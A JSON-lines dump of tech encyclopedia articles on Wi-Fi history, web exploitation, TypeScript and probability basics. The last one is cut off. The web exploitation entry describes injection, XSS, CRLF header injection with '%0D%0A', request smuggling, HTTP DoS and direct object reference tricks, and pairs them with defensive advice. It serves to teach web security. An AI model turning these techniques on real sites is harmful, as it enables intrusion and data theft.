Ruckus Wireless, Datto Networking, Ubiquiti Networks, Mist Systems, Purple, Edgecore Networks, Cloud4Wi, and Eleven. The best of them provide cloud management, including the use of ML/AI. \n\nA report from IDC showed that in Q1-2019, about 47% of the enterprise market is with Cisco. This is followed by Aruba, Ubiquiti and Ruckus. \n\n## Milestones\n\n1990\n\nNCR Corporation creates *WaveLAN* as a wireless alternative to Ethernet and Token Ring computer networking. In 1991, AT&T acquires NCR. The same year WaveLAN becomes the starting point for the standardization of Wi-Fi. \n\n1996\n\nAustralian agency CSIRO's WLAN and its method of recovering data in multipath environments is granted a US patent. It's only in 1999 that the patent goes into the standard IEEE 802.11a. The technology is made available to implementers via non-exclusive licenses. In 2005, CSIRO files first worldwide family litigation. In 2012, it files suits against US carriers. Patent expires in 2013. \n\nJun  \n1997\n\nIEEE publishes the first version of Wi-Fi standard, called **IEEE 802.11-1997**. It supports 2 Mbps in the 2.4 GHz band. \n\n1999\n\nSome companies come together to form a global non-profit association to promote and facilitate Wi-Fi adoption and interworking, regardless of brand. This association is initially called *Wireless Ethernet Compatibility Alliance*. In 2000, it's renamed to **Wi-Fi Alliance**. The Alliance also announces **Wi-Fi®** as the formal name for the wireless technology. The term Wi-Fi was in commercial use as early as August 1999. It was a name coined by Interbrand who also designed the Wi-Fi logo. The Alliance announces a certification programme and the first certified devices come out in 2000. \n\nSep  \n1999\n\nIEEE publishes two amendments, **IEEE 802.11a** (only 5 GHz band, 54 Mbps max) and **IEEE 802.11b** (only 2.4 GHz band, 11 Mbps max). Although 802.11a offers 54 Mbps, 802.11b offers better range, uses the same modulation as the original standard and leads to dropping prices due to wider adoption. However, in terms data rates Wi-Fi remains far slower than its wired counterparts, Fast Ethernet (100 Mbps, 1995) and Gigabit Ethernet (1Gbps, 1998). \n\nJun  \n2003\n\nIEEE publishes the **IEEE 802.11g** standard that provides 54 Mbps data rate although it uses the same 2.4 GHz band as 802.11b. Thus, 802.11g devices can work with 802.11b devices. It uses OFDM as the modulation just as 802.11a. Soon dual-band 802.11a/b products become tri-band 802.11a/b/g. \n\n2004\n\nTVs and smartphones get Wi-Fi certified and are launched in the market. **WPA2** is released to provide higher security. For the first time, Wi-Fi is offered to passengers on a commercial flight. \n\nJan  \n2008\n\nNASA installs the first Wi-Fi device on the International Space Station. Two Netgear RangeMax 802.11b/g APs are installed, each giving 240 Mbps. In May 2016, the Wi-Fi network is extended to outside the space station. In 2019, Wi-Fi is integrated into a space suit, takes a space walk and streams HD video. \n\nOct  \n2009\n\nIEEE publishes the **IEEE 802.11n** standard. Further amendments appear in later years: 802.11ac (December 2013) and 802.11ax (September 2019). 802.11ax can be seen as an evolution of 802.11ac. \n\nDec  \n2012\n\nIEEE publishes the **IEEE 802.11ad** standard that allows operation in the 60 GHz band. It's derived from a WiGig specification completed by *Wireless Gigabit Alliance* in 2009. Since 2010, this alliance has been cooperating with Wi-Fi Alliance to promote WiGig. However, it's only in 2016 that Wi-Fi Alliance starts certifying WiGig products. The delay is mainly because vendors are reluctant to adopt a technology that has little infrastructure support. \n\nOct  \n2018\n\nIn an effort to simplify naming, Wi-Fi Alliance introduces **consumer-friendly generation names**. For example, 802.11ax is also known as Wi-Fi 6; 802.11ac as Wi-Fi 5; and 802.11n as Wi-Fi 4. In addition, UI visuals are defined to indicate which Wi-Fi standard is currently in use. Meanwhile in 2018, Wi-Fi certifications reach 45,000 and **WPA3** is released for higher security. \n\n2019\n\nThe 30 billionth Wi-Fi device is shipped. Wi-Fi adoption is accelerating given that the 10 billionth device was shipped in 2014 and the 20 billionth device was shipped only in 2017.","meta":{"title":"Wi-Fi","href":"wi-fi"}}
{"text":"# Web Exploitation\n\n## Summary\n\n\nWebsites are significantly more complex today than in the early 1990s when they mostly served static HTML content. Web applications often serve dynamic content, use databases, and rely on third-party web services. The application server itself is being built from many components, which may come from diverse sources. Servers authenticate users before logging them into the system. They also authorize users to access restricted resources or data. Often applications handle sensitive user data that need to be protected.  \n\nGiven this complexity, it's not easy to deploy and maintain web applications in a secure way. No application is perfect. Hackers are always on the lookout to discover and exploit vulnerabilities. This article discusses web exploitations and offers tips to improve the security of web applications.\n\n## Discussion\n\n### What aspects of an application are vulnerable to web exploitation?\n\nA web application typically involves a web server, an application server, application middleware, internal or third-party web services, a database, and so on. Any of these components could be attacked. \n\nAn attack could be as simple as slowing down the server by making lots of HTTP requests. More serious attacks would involve installing a virus on the server or stealing sensitive data. Defacing the site by modifying site content, or deleting code or data are just as serious but more easily visible. Another attack is to run cryptocurrency miners on server infrastructure. \n\nWeb clients/browsers and servers communicate via protocols such as HTTP, HTTPS, FTP, etc. Vulnerabilities in how these protocols are used could be exploited. Protocols are located at different layers of the protocol stack. Although web exploits happen at the application layer (layer 7), it can impact other layers via packet flooding (data link layer) or SYN flooding (network layer). However, web exploits at the application layer are becoming more common than network layer attacks on web servers. \n\n\n### Which are main types of web vulnerabilities and their related exploits?\n\nWeb exploits involve one or more of the following:  \n\n    + **Injection**: This results from accepting untrusted input without proper validation. Examples include SQL injection, LDAP injection and HTTP header injection.\n    + **Misconfiguration**: This happens when processes are manual and settings are not correctly maintained.\n    + **Cross-Site Scripting**: Via user input, server accepts untrusted JavaScript code. When server returns this in response, browser will execute it.\n    + **Outdated Software**: With the increasing use of open source and third-party software packages, it's important to keep these updated. Outdated software can be exploited, especially when the vulnerabilities are public.\n    + **Authentication & Authorization**: URL may expose session ID. Password may be unencrypted. If timeouts are not correctly implemented, session hijacking is possible. Unauthorized resources can be accessed even when UI doesn't expose them.\n    + **Direct Object References**: By poor design or coding error, direct references are exposed to clients. For example, a GET request to `download.php?file=secret.txt` may bypass authorization and allow direct download of a protected file. Another example is to directly reset admin password.\n    + **Data Exposure**: Sensitive data is stored in an unencrypted form, or exposed in cookies or URLs. Client-server communicate on a non-HTTPS connection.\n\n### What are some exploits pertaining to HTTP headers?\n\nOne technique is to send an arbitrary domain name or port number in the **Host header** and see how the server responds. Duplicating the Host header or formatting it differently can reveal vulnerabilities. These can be exploited to reset passwords, bypass authentication or poison web cache. \n\nSuppose your architecture uses a load balancer or reverse proxy, followed by a backend server. Each component might process the HTTP header in subtly different ways. This can lead to **HTTP request smuggling** attacks in which an extra malicious request is smuggled via the main request. \n\nNewlines are used to separate HTTP header from body. With **CRLF injection**, characters `\\r\\n` are forced into header fields via their URL encoded form `%0D%0A`. This can be used to modify HTTP access logs to cover up earlier attacks, enable CORS or deliver XSS payload. \n\nTo improve web security, HTTP has headers related to Cross-Origin Resource Sharing (CORS). Some of these are Access-Control-Allow-Origin, Access-Control-Expose-Headers, and Access-Control-Max-Age. More security-specific headers include Cross-Origin-Resource-Policy, Content-Security-Policy, Strict-Transport-Security, X-Content-Type-Options, X-Frame-Options, and X-XSS-Protection.  \n\n\n### What are some server-side web exploits?\n\nHTTP DoS attack works by making large number of HTTP requests to the web server. It may also involve crawling the site to learn which pages require more server processing. The attack then involves requesting resource-intensive pages. If requests involve database calls, the site slows down visibly affecting user experience. Another way to slow down the server is to set a high Content-Length header value, send fewer bytes and make the server wait for the rest. \n\nRemote code execution is possible if server is using outdated software. Once server is infiltrated, arbitrary code can be executed to steal data or install malware. Insecure deserialization is a vulnerability that can lead to remote code execution. \n\nImproper authentication and authorization can allow attackers access protected server resources or sensitive data. Passwords could be reset via URL query strings. \n\nDatabase could be corrupted via SQL injection. This can happen when input data is not validated. \n\nIn any case, it's important that server software is kept up to date. Review and validate configuration. Collect sufficient logs and constantly monitor so that any breach is detected as soon as possible. \n\n\n### What is Cross-Site Scripting?\n\nCross-Site Scripting (XSS) is when a user visits site A and her browser executes malicious script that then contacts site B. Malicious code is contained within `<script>` tag. The user is initially tricked into clicking a link, perhaps via email. The genuine site loads in browser but the attacker has already passed malicious code via the URL. Another variant of the attack is to input code in forms. In either case, the malicious script can access user cookies on the browser. These are sent to the attacker's site to later impersonate the user on genuine sites she uses. \n\nAlthough JavaScript code for this attack executes on the browser, XSS attacks have been classified into **Server XSS** or **Client XSS** attacks. In either case, the vulnerability starts with untrusted user input. With Server XSS, the server sends the malicious script in the response. With Client XSS, the DOM is updated to make JavaScript calls. \n\nContext-sensitive output encoding and input validation can protect against Server XSS. Against Client XSS, call only trusted JavaScript APIs but this is easier said than done. \n\n\n### What are the security problems with Flash?\n\nCreated in 1996 by Macromedia and acquired by Adobe in 2005, Flash is used to render rich multimedia content on browsers. Increasing use of Flash on the web started to grow in the early 2000s. \n\nThe earliest reported security vulnerability with Flash dates from 2005. As of October 2020, Flash has gathered more than 1000 vulnerabilities. Number of vulnerabilities are 8 (2019), 26 (2018) and 65 (2017). Types of vulnerabilities include code execution, overflow, memory corruption, DoS, bypass of access restrictions, access to sensitive information, and more. XSS attacks are possible via what's called **Flash Parameter Injection (FPI)**. \n\nAs an example, CVE-2017-11292 allowed arbitrary code execution. A flawed bytecode verification procedure meant that an array index could be derived from an untrusted value. This led to type confusion and malicious code execution. \n\n**Flash cookies** are also problematic. They have been misused to track users across sites they visit. Users can't easily disable them, unlike HTTP cookies. \n\nFlash is not open source. HTML5 is the standardized way to deliver multimedia content. Due to the many security issues, browser vendors and Abode announced in 2017 that Flash will be discontinued from January 2021. \n\n\n### What are some common misconfigured security settings?\n\nAn application may have a debug mode that results in lots of internal information printed out. By mistake, this mode is used in production. Even without the debug mode switched on, it's possible that the application shows stack traces when an error occurs. Another mistake is to allow the server to list directory contents. This exposes internal directory structure and contents to attackers. \n\nSoftware components come with default values. For example, MySQL server uses a default username and password, unless the admin changes them to non-default values. If application is deployed with default values, it's easy for an attacker to exploit this. \n\nIt's a flaw to store passwords in code or read them from files committed to the code repository. A better way is to set passwords as environment variables that the application can access. \n\nA web server offers its service on well-known default ports. At the minimum, it may offer HTTP on port 80 and HTTPS on port 443. Running other services on the server, many of which may be unnecessary or unused, opens up a larger attack surface. \n\n\n### Could you share real-world instances of web exploits?\n\nData breaches have affected many big names including Adobe, eBay, Equifax, LinkedIn, Marriott International, Sina Weibo and Yahoo. The biggest breach is perhaps Yahoo's in 2013-14 involving 3 billion user accounts. \n\neCommerce sites have been hacked. British Airways was attacked in 2018 leading to stolen customer details. The problem was down to a third-party JavaScript that had not been updated since 2012. In 2019, fashion retailer Sweaty Betty become victim to malicious JavaScript injection. \n\nThe Panama Papers leak of 2016 happened due to outdated software. In fact, the site had many vulnerabilities including authentication and SQL injection. An example of XSS exploitation is Steam profile hack of 2017. JavaScript was injected into user profile page. This was used to drain Steam Wallet funds or spread other malware. Vulnerable since 2008 but discovered only in 2017, the REST plugin of Apache Struts 2 did deserialization in an insecure manner leading to arbitrary code execution. \n\nCloud infrastructure is not immune to attacks. Australian Broadcasting Corporation and Accenture are examples of organizations that failed to adequately protected their Amazon S3 storage instance. They were attacked in 2017. \n\n\n### Could you share some best practices to make web applications more secure?\n\nMake your application code more secure but this is often hard. Instead, adopt a framework with built-in security features and functions. \n\nPenetration testing must be part of your process. When vulnerabilities are discovered, fix them at the earliest. Automate processes. Use a Web Application Firewall (WAF) as a preventive measure. Design applications in a modular way so that it's easier to apply attributes on resources. \n\nWhen using third-party components, ensure you're using the correct one and not a typosquatted package. Keep them updated to take advantage of latest security fixes. \n\nAlways sanitize user inputs. Avoid blacklists since they're brittle. Whitelists are better. If returning HTML tags from user input to browser, encode the tags. For example, return `<script>` as `&lt;script&gt;`. \n\nDon't include user inputs in HTTP headers. In HTTP headers, encode CRLF special characters. Adopt security headers such as Content Security Policy and X-XSS-Protection to protect against XSS and code injection. X-Content-Type-Options counters MIME sniffing. X-Frame-Options counters clickjacking. Strict-Transport-Security enforces communication over HTTPS.  \n\nFor authentication, issue new cookies when user logs in or changes role. Limit session duration. Set cookies with attributes HttpOnly, Secure and SameSite=Strict. \n\n\n### What online resources are available to know about current web vulnerabilities?\n\nSoftware vulnerabilities are categorized and named individually to help developers and security researchers. These are formalized as **Common Vulnerabilities and Exposures (CVE)**, a system initiated by the MITRE Corporation. \n\nAmong the useful databases are National Vulnerability Database (NVD) from NIST, Vulnerability Assessment Platform (Vulners), Vulnerability Database (VulDB) and CVE Details. Vulners offers a useful search functionality and it's been called \"Google for hackers\". VulDB documents vulnerabilities in electronic products. MITRE's own database is called Common Weakness Enumeration. MITRE and NIST work closely. \n\nExploits of these vulnerabilities are also documented and organized as **exploit databases**. Among the well-known ones are ExploitDB, Rapid7, CXSecurity, Vulnerability Lab, Oday, SecurityFocus, Packet Storm Security, and Google Hacking Database. \n\n**Tools** are also available for security testing of web applications. Some of these include Zed Attack Proxy (ZAP) from OWASP, Wfuzz, Wapiti, W3af, SQLMap, SonarQube, Iron Wasp, Metasploit, Nessus, Burp Suite, Nikto, and OpenVAS. More tools to scan a site for vulnerabilities include SUCURI, Qualys, Quttera, Intruder, UpGuard, Web Cookies Scanner, Detectify, Probely, and Pentest-Tools. \n\n## Milestones\n\n1990\n\nIn the early 1990s, the World Wide Web (WWW) starts to grow. Most websites serve only static pages, thus presenting few security vulnerabilities. From mid-1990s, more websites start to adopt JavaScript, thus presenting opportunities for the first web exploits. \n\nSep  \n1999\n\nAs a public list of known vulnerabilities, the **CVE List** is launched. The original list contains 321 entries. By December 2000, 29 organizations claimed to offer \"CVE-compatible\" products and services. Later, CVE List becomes the basis of U.S. Government's National Vulnerability Database (NVD). In 2011, ITU-T adopts CVE List. As of October 2020, the list includes more than 140,000 entries. \n\n2000\n\n**Cross-Site Scripting (XSS)** is first discovered at Microsoft. It's believed that XSS is due to server-side code. By 2005, it's clear that XSS is possible at the client side as well. Although client-side XSS was possible even in 1997, it starts to increase from 2003 with the coming of Web 2.0. This exploit continues to grow for many years and starts to fall only from 2013. \n\n2005\n\nFrom mid-2000s, the use of JavaScript increases in terms of key metrics: more JavaScript statements per external script that's included, inclusion of scripts from more domains, and higher code complexity. These are indications of richer user interactions and push of application logic towards the client. \n\n2017\n\nAt the 26th USENIX Security Symposium Stock et al. give the example of Firefox browser. It supports 83 different APIs whereas it supported only 12 APIs back in 2006. This growth has led to many vulnerabilities on the client side. \n\n2019\n\nEdgescan SaaS application reports that web applications pose a greater risk than applications exposed at the network layer. About 35% of vulnerabilities in web apps are of high or critical risk. On average, it takes 85 days to fix a web app vulnerability. A 20-year vulnerability about SNMP community name is discovered. The most common vulnerability is a birthday attack on long-duration encrypted HTTPS sessions. \n\n2019\n\nA study from Positive Technologies shows that 9 out of 10 websites can be hacked, 39% allow unauthorized access, and 68% can suffer from data breaches. Application code account for 82% of the vulnerabilities. Security misconfiguration is the most common one. XSS attacks exploiting cookies that didn't use HttpOnly and Secure flags affect one out of five tested applications.","meta":{"title":"Web Exploitation","href":"web-exploitation"}}
{"text":"# TypeScript\n\n## Summary\n\n\nJavaScript is now truly cross-platform. It works within browsers. It's being used to build standalone desktop applications. Enabled by Node.js, it's also being used for server-side execution. It can work on any OS. The problem with JavaScript is it's lack of scalability. It's not ideal for large projects maintained by large teams. \n\nTypeScript makes JavaScript scalable. It does this by supporting static typing so that type mismatches can be caught at compile time rather than at run time. When coupled with tools that understand TypeScript, developers benefit from autocompletion, navigation and refactoring. TypeScript came out of Microsoft and later open sourced.\n\nTypeScript doesn't replace JavaScript. TypeScript transpiles to JavaScript. In fact, a project can contain a mix of both languages. Eventual execution is within a JavaScript runtime.\n\n## Discussion\n\n### Why do we need TypeScript when there's already JavaScript standardized by ECMA?\n\nJavaScript is a dynamically typed language. This can be seen as a useful feature but for projects maintained by large teams, it can be a source of bugs. For example, a function expects an integer but a string is passed wrongly. JavaScript will allow this until an error occurs at runtime. TypeScript allows for **static types**. This means that type mismatch errors are caught during development. \n\nJavaScript before ES6 didn't allow for classes and modules. This made JavaScript coding difficult for programmers coming from C#, Java or other object-oriented languages. While ES6 remedies this, not all browsers support ES6. Babel offered a solution to this problem. Developers can use the latest ECMAScript version but use Babel to transpile their code into a lower version that's well supported by browsers. TypeScript compiler can also **transpile** TypeScript code to any chosen ECMAScript version. This means developers can use latest developments to TypeScript today without worrying about what browsers support. \n\n\n### Isn't TypeScript doing the same thing as AtScript, Flow, Dart or CoffeeScript?\n\nAtScript was invented at Google with the same goals as TypeScript. In 2015, given the popularity of TypeScript, Google discontinued AtScript and adopted TypeScript for its Angular 2 framework. Later versions of TypeScript started supporting features introduced by AtScript.  \n\nFlow was invented at Facebook to provide static typing for JavaScript. Thus, it's an alternative to TypeScript. However, we've seen projects move away from Flow to TypeScript, including Facebook's own Jest project. \n\nComparing Dart with TypeScript is not useful. Dart compiles to native code but transpiles to JavaScript for web apps. Dart is not JavaScript although it can interoperate with JavaScript. TypeScript on the other hand *is JavaScript*. Existing JavaScript code can be treated as TypeScript. \n\nAlthough CoffeeScript transpiles to JavaScript, it's syntax is different from JavaScript. CoffeeScript hides JavaScript syntax from the programmer but TypeScript doesn't do this. In fact, CoffeeScript is great for Ruby programmers since the syntax is Ruby-like. In this context, Luke Hoban commented, \n\n> CoffeeScript is to Ruby as TypeScript is to Java/C#/C++\n\n\n### Which projects have adopted TypeScript?\n\nThe official TypeScript site lists a number of projects that have adopted the language. Among the JS frameworks and libraries to use TypeScript are Angular, Ember, NativeScript, Ionic, Babylon.js, AMCharts and ZoomCharts. Others include Asana, Aurelia, BitHound, Ericsson, EBay Classifieds, Hobsons, JetBrains, Kaggle, Palantir, Ubisoft, and many more. \n\nIn September 2018, Expo SDK started working towards supporting TypeScript, in addition to Flow. They noted that TypeScript is stable and expressive. Just as importantly, Babel 7 supports TypeScript and therefore Expo can continue using Babel-based builds. \n\nVue.js announced that its own codebase for version 3.x and beyond will be based on TypeScript. It's API will be designed to make use of TypeScript's type interference although TypeScript will remain optional for apps. \n\nAtlassian's project that enables beautiful drag-and-drop interfaces moved to TypeScript in December 2018. Storybook, used for building UI components, is now in TypeScript. In January 2019, Facebook's Jest project decided to move away from Flow to TypeScript. PayPal's `paypal-scripts` is another example. \n\n\n### Could you mention some key features of TypeScript?\n\nStatic type checking is an important part of TypeScript but this optional. This means that we can add type checking gradually to a project, especially legacy JavaScript project. The language has new useful types: tuple, enum, any, void, never. Variable declarations can specify `let` or `const`. For object members, we can use `readonly`. Type assertions are similar to type-casting in other languages. A variable can take one of many specified types. Generics are allowed. \n\nClasses with properties, methods, and constructors are now possible with TypeScript. Constructors, and functions in general, can be overloaded. Via interfaces, abstractions are made explicit and this makes code easier to read and maintain. \n\nJavaScript code generated by the TypeScript compiler is very readable, which means that debugging is possible on the generated code without using source maps. \n\nOther ES6 features such as module imports and destructuring are supported. TypeScript supports decorators (also available in ES7).  \n\n\n### Could you share some tips or best practices for beginners to TypeScript?\n\nThe best way to initialize a new project is using `tsc --init`. File `tsconfig.json` will be created. It's possible to extend this configuration file with another file so that we can target different ECMAScript versions if necessary. \n\nIt often a good practice to store generated JS files in a separate folder. It's common to have TS files in `src/` and JS files in `dist/`. Compiler option `--outfile` helps with this; or you could use `outDir` option in the config file. \n\nYou can define a type using either `type` or `interface`. The latter is more flexible because it can be extended to create another interface or implemented in a class. Interfaces can be defined multiple times, adding new members with each definition. \n\nWhen indexing a data type with a key, such as in a tuple, or accessing a member of an interface, use `keyof` to create a type for the keys. This enables type checking on the keys. \n\nMany more tips are part of official documentation, in a Zalando blog post, and in a Medium post.\n\n\n### What are the different file extensions for TypeScript?\n\nTypescript source code files are usually saved with `*.ts` extension. When transpiled, the equivalent `*.js` JavaScript files are created.\n\nFiles with `*.d.ts` extension contain **type definitions**. Your TypeScript code may be using third-party JavaScript libraries. How can we then ensure type safety when your TypeScript code is calling these JavaScript libraries? This is where these type definitions become useful for IDEs and TypeScript compiler. \n\nJSX is an XML-like syntax for designing UI components. It was popularized by React. TypeScript supports this and files that use this syntax have extension `*.tsx`. When these files are transpiled, they generate either JSX files (to be consumed by other transpilers such as Babel) or JS files that are understood by React or React Native. \n\n## Milestones\n\n2010\n\nMicrosoft starts working on creating TypeScript. It's not a new language. Rather, it's an augmentation of JavaScript. One motivating factor is that the Bing Maps team has difficulty making JavaScript scale. There are probably other teams within Microsoft facing similar issues with JavaScript. \n\nOct  \n2012\n\nMicrosoft releases TypeScript specification and open sources its own TypeScript compiler. Visual Studio gets a plugin for TypeScript. The creator of C#, Anders Hejlsberg, notes that JavaScript was designed as a scripting language, for small to medium-sized projects. TypeScript's static typing will address the scalability problem. He adds,\n\n> JavaScript is an entirely dynamic language that has no static typing, and static typing is really the thing that powers today's rich IDEs.\n\nJul  \n2014\n\nMicrosoft completes its move of TypeScript codebase from CodePlex to GitHub. The idea is to go where the community is active, and attract Linux and Mac developers. \n\n2015\n\nThis year sees many releases of TypeScript: 1.4 (Jan) to 1.7 (Nov). Among the features/types introduced are `let`, `const`, template strings, type guards (`typeof`, `instanceof`), ES6 modules, ES6 destructuring, decorators, `namespace` keyword, `tsconfig.json` config file, JSX, abstract classes, async/await, and `this` typing. \n\nMar  \n2015\n\nIt's announced that **Angular 2** will be built using TypeScript. Over the next few years, this influences more developers to adopt TypeScript. \n\nJul  \n2016\n\n**TypeScript 2.0** is released. Type definitions are now available via NPM at `@types`. This deprecates earlier approaches: DefinitelyTyped, TSD, Typings. As on April 2019, more than 6,300 packages have type definitions.\n\nJul  \n2018\n\n**TypeScript 3.0** is released. \n\nDec  \n2018\n\n**Babel 7** is released with support for TypeScript. This means that TypeScript can be transpiled to JavaScript using Babel. Thus, TypeScript-based projects can continue to benefit from Babel's rich ecosystem and plugins. TypeScript compiler can still be used for type checking.","meta":{"title":"TypeScript","href":"typescript"}}
{"text":"# Probability for Data Scientists\n\n## Summary\n\n\nIn mathematics, the notation \\(\\pi\\), pronounced as \\(pi\\), denotes ratio of circumference of any circle to diameter of same circle. \\(\\pi\\) is constant. It will not vary for circles of any size. But many other facts in the world are not constant.\n\nLet's assume alphabet \\(X\\) denotes height of adults in India. \\(X\\) can take any positive real value for any random individual. Hence \\(X\\) is a variable that takes random values in a range of positive real numbers.\n\nProbability measures how likely or unlikely is an outcome, where outcome is a **Random Variable**. For instance, we can ask, \"What's the probability of picking an Indian adult male who is above six feet?\"\n\nProbability is intimately related to another branch of mathematics called *Statistics*. Both these are of fundamental importance to the field of Data Science.\n\n## Discussion\n\n### How do we mathematically define the probability of an event?\n\nMathematically, probability is the ratio of the number of desired outcomes and all possible outcomes:\n\n$$P(Outcome)=\\frac{n(Desired\\ Outcome)}{n(All\\ Outcome)}$$\n\nAny desired outcome is a subset of all possible outcomes. The value of probability therefore ranges from zero to one. The limits have the following interpretation:\n\n    + Zero: the outcome will never occur.\n    + One: the outcome is guaranteed to occur.The set of all outcomes is called the **Sample Space**. When the number of outcomes is large or grouping outcomes is more suitable for a study, it's common to group one or more outcomes into what we call an **Event**. An outcome can be part of multiple events. \n\n\n### Could you illustrate probability with some simple examples?\n\nIf we toss a coin, there are only two possible outcomes: head or tail. Assuming both outcomes are equally likely, the probability of getting a head is 1/2 = 0.5. Likewise, the probability of getting a tail is also 0.5. Taken together, the probability of getting either head or tail is 0.5 + 0.5 = 1. This makes sense since there are no other outcomes besides head or tail. \n\nLet's roll a dice. The probability of getting an odd prime number (3 or 5) is 2/6 = 0.33. The probability of getting a number greater than 6 is 0/6 = 0. The probability of getting a number less than or equal to 6 is 6/6 = 1. \n\n\n### Why probability works?\n\nAny random variable, however random, will have its own identifiable characteristics. For example, the variable may be highly probable at one value with dropping probabilities at neighbouring values. This variability around the most probable value helps us to model random variables. In technical terms, we call this the *distribution of the random variable*. When we plot the number of occurrences against the value, we get a *distribution curve*. Random variables are typically modelled with average value, variability (spread), skewness (asymmetry) and kurtosis (\"tailedness\"). \n\nFor example, let's consider the response time of a computing system. When the system is under high load, the average response time increases. What's more interesting is that the spread of response time around this average is also more. Thus, under different loading the response time random variable exhibits different characteristics.\n\nExceptions (popularly called **Outliers**) will affect probability generalisation. They have to be kept out when building realistic models. \n\n\n### How is probability related to distributions?\n\nProbability looks at the likelihood of a specific outcome or event. Distribution looks at all outcomes or events. \n\nLet's take the example of a coin toss. We know from theory that the probability of a head is 0.5. However, there's also an experimental approach. For example, experimenting with 100 tosses might result in 49 turning out to be heads. Hence, probability of head is 0.49. Such an experiment is termed **Bernoulli Trials**. When we list probabilities for all outcomes (head and tail), we end up with a **Bernoulli Distribution**. \n\nWe can perform a variation of the coin-toss experiment. We can toss a coin 32 times and call this a single experiment. We repeat this experiment many times, say 50,000 times. Finally, we calculate the probability of getting 4 heads in each experiment of 32 coin tosses. Such a series of experiments is called **Binomial Trials**. When we list the probabilities for all outcomes, we end up in **Binomial Distribution**. \n\n\n### What are probability distributions and how are they useful?\n\nProbability, when identified and listed for all possible outcomes, is called **Probability Distribution**. For instance, if we find probabilities of adult males in India with heights in ranges of 0-3.5, 3.5-4, 4-4.5, 4.5-5, 5-5.5, 5.5-6 and 6+ feet, we have a probability distribution. Such a distribution is closely related to the concept of histogram. With histogram, we plot the count of values within each range. With distribution, we convert these counts into probabilities. In both case, a graphical plot helps us to read easily the average, variability, skewness, kurtosis, outliers, etc. \n\nGiven the distribution, an event can be simulated at random within the boundaries of the distribution. In other words, to create random variables for simulation purposes, we need the distribution. For example, let's consider the number of people arriving at ATM every 60 minutes. This can be modeled as Poisson distribution. We can simulate queues at ATM, calculate waiting times and decide if need another ATM needs to be installed. Likewise, if we know distributions of outcomes in a game, we can simulate winning odds and take appropriate risks.\n\n\n### When probability works?\n\nOften we are unable to gather data from the entire sample space or population. We typically collect a sample of data from the population. Probability works when sample size is large.\n\nFor instance, we wish to find the probability of an Indian adult male of height six feet and above. A sample size of 100 will not give a reliable number. However, a sample size 10,000 will be more reliable. The more, the better. Stated formally as the **Law of Large Numbers**, the probability of an event from a sample will converge to the actual value of the population when the sample size is large. \n\n\n### What are axioms of Probability?\n\nThere are obvious rules in probability. These rules are called **Axioms of Probability**. These were formulated by Russian mathematician Andrei Kolmogorov. \n\nThese axioms can be explained as follows: \n\n    + The probability of any event is a non-negative real number.\n    + The probability of the entire sample space is one. This follows from the fact that there are no events outside the sample space.\n    + The probability of the union of two mutually exclusive events is the sum of their individual probabilities.\n\n### What are mutually exclusive and non-mutually exclusive events?\n\nLet us say, there are two events denoted with random variables \\(A\\) and \\(B\\). If \\(A\\) and \\(B\\) don't occur together, they're mutually exclusive. They're also call **disjoint events**. For instance, cooking is event \\(A\\) and cycling is event \\(B\\). These two are mutually exclusive: a person doesn't cook and cycle at the same time.\n\n$$P(A\\ and\\ B) = 0\\ or\\ neglibible \\\\ \\Rightarrow P(A\\ or\\ B)=P(A)+P(B)-P(A\\ and\\ B) \\\\ \\Rightarrow P(A\\ or\\ B)=P(A)+P(B), since\\ P(A\\ and\\ B)=0$$\n\nOn the contrary, if \\(A\\) and \\(B\\) do happen together, they are non-mutually exclusive events. For instance, cooking is event \\(A\\) and listening to music is event \\(B\\). They can happen at the same time.\n\n$$P(A\\ and\\ B)\\neq0 \\\\ \\Rightarrow P(A\\ and\\ B) = P(A)+P(B)-P(A\\ or\\ B) \\\\ \\Rightarrow P(A\\ or\\ B)=P(A)+P(B)-P(A\\ and\\ B)$$\n\n\n### Could you explain joint, conditional and marginal probabilities?\n\nLet's consider two events: buying Bread \\(A\\), buying Jam \\(B\\). Marginal probability is the proportion of customers who bought Bread regardless of whether they bought Jam or not. It's called marginal because it occurs at the margins of the probability table (see figure). Joint probability is proportion of customers who bought both Bread and Jam. Conditional probability is proportion of customers who're likely to buy Bread when they've already bought Jam, and vice-versa. \n\n*Marginal Probability* \n\n$$P(A) = \\frac{n(Cust\\ with\\ Bread)}{n(Cust)} = \\frac{90}{1000} \\\\ P(B) = \\frac{n(Cust\\ with\\ Jam)}{n(Cust)} = \\frac{50}{1000}$$\n\n*Joint Probability* \n\n$$P(Cust\\ with\\ Bread+Jam) \\\\ = P(A\\ and\\ B) = \\frac{n(A\\ and\\ B)}{n(Cust)} = \\frac{40}{1000}$$\n\n*Conditional Probability* \n\n$$P(Cust\\ with\\ Bread\\ given\\ Jam) \\\\ = P(A|B)=\\frac{n(A\\ and\\ B)}{n(B)} = \\frac{40}{50} \\\\ P(Cust\\ with\\ Jam\\ given\\ Bread) \\\\ = P(B|A)=\\frac{n(A\\ and\\ B)}{n(A)}= \\frac{40}{90}$$\n\nConditional Probability reduces the sample space based on condition. Rather than considering all customers (1000), we only consider customers who bought Bread (90) or customers who bought Jam (50), that is, the marginal numbers.\n\n\n### How is odds different from probability?\n\nOdds is defined as ratio of chances of an event happening and chances of the same event not happening. Consider the ratio of customers buying milk to those not buying milk. If this ratio is more than 1 then the odds are in favour of hypotheses (buying milk), else odds are against hypotheses.\n\nConsider customers buying bread and jam:\n\n$$Odds(Bread+Jam) \\\\ = \\frac{P(Bread+Jam)}{P(Bread-Jam)} \\\\ =\\frac{40}{50}=0.8 \\\\ Odds(Jam+Bread) \\\\ = \\frac{P(Jam\\ with\\ Bread)}{P(Jam-Bread)} \\\\ =\\frac{40}{10}=4$$\n\nFor every 0.8 customers who buy Bread and Jam, one customer will buy only Bread. For every 4 customers who buy Jam and Bread, one customer will buy only Jam. Thus, the Odds(Buying Jam with Bread) > Odds(Buying Bread with Jam). This implies,\n\n    + Jam drives Bread purchase.\n    + Sizable Bread buyers prefer Bread without Jam.\n\n### What is Bayes' Theorem?\n\nGiven hypothesis H and evidence E, Bayes' Theorem can be written as \\(P(H|E) = P(E|H) \\dot P(H) / P(E)\\). Bayes' Theorem, also called Bayes' Rule or Bayes' Law, uses **prior** probability \\(P(H)\\), accounts for new **evidence** \\(P(E|H)\\) and results in **posterior** probability \\(P(H|E)\\). \n\nOften, prior probability is sourced from experts due to challenges in evaluating from evidence. Bayesian probability basically revises probability considering every new evidence. This probability will converge to its true value over many revisions on repeated evidence.\n\nBayesian approach is used in fields such as epistemology, statistics, and inductive logic. It relies on conditional probabilities and empirical learning. The key insight of the theorem is \"that a hypothesis is confirmed by any body of data that its 